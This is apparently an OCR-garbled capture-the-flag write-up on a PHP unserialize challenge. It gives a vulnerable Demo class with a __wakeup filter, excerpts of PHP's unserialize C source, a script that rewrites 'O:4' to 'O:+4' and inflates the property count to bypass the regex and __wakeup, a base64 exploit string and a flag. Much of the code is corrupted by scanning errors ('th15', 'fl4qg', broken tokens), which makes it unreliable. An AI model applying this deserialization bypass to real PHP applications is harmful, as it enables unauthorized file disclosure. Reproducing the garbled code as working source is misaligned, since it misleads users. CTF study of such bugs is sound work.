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<?php
class Demo {
private $file = 'index.php';
public function _ construct($file) {
$this->file = $file;
h

function  destruct() {
echo @highlight file($this-=file, true);
h

function _ wakeup() {
if ($th15 >file != 'index.php') {
//the secret is in the fl4g.
$th15 >file = 'index.php';
}
h

}
if (isset($ GET['var'])) {
$var = base64 decode($ GET['var']);
if (preg match('/[oc]l:\d+:/1', %$var)) {
die('stop hacking!');
} else {
@unserialize(svar);
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} else {
highlight file("index.php");
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<?php .
class Demo {

n __destruct() {
echo @highlight file($this->file, true);

function _wakeup() {
($this->file
$this->file = '

obj = new Demo("fldg.php");
serialize($obj);

$str,PHP EOL;
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static inline int object common2(UNSERIALIZE PARAMETER, long elements)

zval *retval ptr = NULL;
zval fname;

if (!process nested data(UNSERIALIZE PASSTHRU, Z_OBJPﬁ]P_PP(rvaL}, elements, 1)) {
return 0;
}

if (Z OBJICE_PP(rval) != PHP_IC_ENTRY &&
zend_hash_exists(&Z OBJCE PP(rval)->function_table, " wakeup", sizeof(" wakeup"))) {
INIT _PZVAL(&fname);
ZVAL _STRINGL (&fname, " wakeup", sizeof(" wakeup") - 1, 0);
call user function ex(CG(function table), rval, &fname, &retval ptr, 0, @, 1, NULL TSRMLS CC);

}

if (retval ptr)
zval ptr dtor(&retval ptr);

return finish nested data(UNSERIALIZE PASSTHRU);
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atic inline long object commonl(UNSERIALIZE PARAMETER, zend class entry *ce)
long elements;

elements = parse_iv2((*p) + 2, p);

(*p) += 2;

object init ex(*rval, ce);
return elements;
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<?7php
class Demo {
private $file = 'index.php';
public function _ construct($file) {
$this->file = $file;

function _ destruct() {
echo @highlight file($this->file, true);

function _ wakeup() {
($this->file 'index.php') {
$this->file = 'index.php';

new Demo("fldg.php");
serialize($obj);

= preg_replace('/:4/"',"':+4",$str);
$str2 = preg_replace('/:1:/"',":2:"',%$strl)

$str3 base64 encode($str2);
echo $str3,PHP_EOL;
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Exp : TzorNDoiRGVtbyI6Mjp7czoxMDoiAERIbW8AZm1sZSI7cz040iJmbDRnLnBocCI7£Q==
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$flag="ctf{bl7bd4c7-34c9-4526-8fa8-a0794a197013}";
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] substitution: ignored null byte in input

vim &F a.txt 34

0:4:"Demo":1:{s:10:""@Demo~@file";s:8:"fl4g.php";}

0:4:"Demo":1:{s:10:"Demofile";s:8:"fl4qg.php";}
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